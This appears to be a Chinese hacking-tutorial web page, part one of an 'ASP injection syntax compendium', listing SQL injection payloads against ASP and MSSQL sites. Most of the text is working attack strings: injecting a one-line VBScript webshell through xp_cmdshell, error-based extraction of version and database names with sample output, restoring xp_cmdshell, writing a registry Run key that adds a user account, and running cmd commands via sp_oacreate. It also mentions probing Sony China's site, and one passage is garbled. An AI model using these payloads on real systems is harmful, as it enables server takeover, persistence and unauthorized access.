首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客入门 → 文章内容

asp注入语法大全(一)--asp,注入,语法大全

作者:佚名  来源:网上收集  发布时间:2006-5-20 19:26:21

1、   用^转义字符来写ASP(一句话木马)文件的方法:
   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell ’echo ^ 〈SCRIPT language=VBScript runat="server^"〉execute request^("l"^)^〈/script^〉 〉c:\mu.asp’;-- 〈/P〉
〈P〉   echo ^〈%execute^(request^("l"^)^)%^〉 〉c:\mu.asp〈/P〉

2、 显示SQL系统版本: 
 http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION) 
 http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
Microsoft VBScript 编译器错误 错误 ’800a03f6’ 
缺少 ’End’ 
/iisHelp/common/500-100.asp,行242 
Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e07’ 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ’ to a column of data type int. 
/display.asp,行17

3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一ㄏ氲搅嘶褂小鞍址汀蹦亍6粤耍褪怯捎诶嗨啤皊elect * from mytable where name in(‘firstsee’)”的查询语句造成的。

4、 判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ’X’ AND name = ’xp_cmdshell’)
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’e:\inetput\web\xplog70.dll’;--

5、 向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\
Run’,’help1’,’REG_SZ’,’cmd.exe /c net user test ptlove /add’

6、 查看当前的数据库名称:
 http://192.168.1.5/display.asp?keyno=188 and 0〈〉db_name(n) n改成0,1,2,3……就可以跨库了
 http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 ’800a03f6’ 
缺少 ’End’ 
/iisHelp/common/500-100.asp,行242 
Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e07’ 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’huidahouse’ to a column of data type int. 
/display.asp,行17 

7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabases 列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录

8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate ’wscript.shell’,@shell output
EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c dir c:\〉c:\temp.txt’,’0’,’true’
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate ’scripting.filesystemobject’,@fso output
EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell〉0
BEGIN
EXEC sp_oamethod @file,’Readline’,@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
DROP TABLE MYTMP 
----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate ’wscript.shell’,@shell output
EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"〉c:\temp.txt’,’0’,’true’
EXEC sp_oacreate ’scripting.filesystemobject’,@fso output
EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’
WHILE @shell〉0
BEGIN
EXEC sp_oamethod @file,’Readline’,@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

[1] [2] 下一页  

[] [返回上一页] [打 印]
  • 上一篇文章:暴库精华版--暴库,精华版
  • 下一篇文章:网络命令行操作(一)--网络,命令行,操作

  • 相关文章:
  • ASP注入漏洞全接触(7)
  • ASP注入漏洞全接触(6)
  • ASP注入漏洞全接触(5)
  • ASP注入漏洞全接触(4)
  • ASP注入漏洞全接触(3)
  • ASP注入漏洞全接触(2)
  • ASP注入漏洞全接触(1)
  • asp注入语法大全(一)--asp,注入,语法大全
  • asp注入语法大全(二)--asp,注入,语法大全
  • ASP注册表项目修改
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号